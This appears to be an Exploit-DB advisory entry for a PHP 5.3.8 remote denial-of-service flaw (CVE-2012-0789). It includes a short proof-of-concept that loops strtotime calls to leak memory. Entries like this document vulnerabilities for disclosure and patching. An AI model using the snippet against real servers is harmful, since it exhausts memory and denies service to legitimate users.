PHP 5.3.8 - Remote Denial Of Service Vulnerability

2011-12-18T00:00:00
ID EDB-ID:36789
Type exploitdb
Reporter anonymous
Modified 2011-12-18T00:00:00

Description

PHP 5.3.8 Remote Denial Of Service Vulnerability. CVE-2012-0789. Dos exploit for php platform

                                        
                                            source: http://www.securityfocus.com/bid/52043/info

PHP is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to exhaust available memory, denying access to legitimate users.

PHP versions prior to 5.3.9 are vulnerable. 

<?php
while (true)
{
strtotime('Monday 00:00 Europe/Paris'); // Memory leak
}
?>